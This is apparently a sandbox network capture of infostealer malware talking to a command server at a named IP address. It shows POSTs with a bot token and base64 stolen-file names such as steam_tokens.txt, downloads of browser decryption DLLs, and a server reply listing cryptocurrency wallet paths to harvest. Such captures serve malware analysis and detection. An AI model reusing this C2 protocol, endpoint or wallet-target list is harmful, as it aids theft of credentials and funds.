Ascii: ------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHDBGHCBAEGCBFHJEBFIContent-Disposition: form-data; name="file"------DHDBGHCBAEGCBFHJEBFI--
Sep 24, 2024 21:30:07.597182035 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:08.427701950 CEST	565	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 193.233.113.184 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="file"------AEHIJKKFHIEGCBGCAFIJ--
Sep 24, 2024 21:30:08.641191959 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:08.854897976 CEST	94	OUT	GET /53e0491f34ea3a8a/freebl3.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:09.066301107 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 24, 2024 21:30:09.903017998 CEST	94	OUT	GET /53e0491f34ea3a8a/mozglue.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:10.114214897 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 24, 2024 21:30:10.526643991 CEST	95	OUT	GET /53e0491f34ea3a8a/msvcp140.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:10.775482893 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 24, 2024 21:30:11.162808895 CEST	91	OUT	GET /53e0491f34ea3a8a/nss3.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:11.383460999 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 24, 2024 21:30:12.864201069 CEST	95	OUT	GET /53e0491f34ea3a8a/softokn3.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:13.085428953 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 24, 2024 21:30:13.451849937 CEST	99	OUT	GET /53e0491f34ea3a8a/vcruntime140.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:13.663991928 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 24, 2024 21:30:13.939697981 CEST	203	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 193.233.113.184 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:14.158459902 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:14.188218117 CEST	469	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 193.233.113.184 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"wallets------HIDHIEGIIIECAKEBFBAA--
Sep 24, 2024 21:30:14.404448032 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 24, 2024 21:30:14.408747911 CEST	467	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 193.233.113.184 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"files------EGHJKFHJJJKJJJJKEHCB--
Sep 24, 2024 21:30:14.628686905 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:14.639343023 CEST	565	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 193.233.113.184 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="file"------JDAEHJJECAEGCAAAAEGI--
Sep 24, 2024 21:30:14.854631901 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:14.951783895 CEST	205	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 193.233.113.184 Content-Length: 113427 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:15.427220106 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:15.432226896 CEST	474	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 193.233.113.184 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"ybncbhylepme------EGDGCGCFHIEHIDGDBAAE--
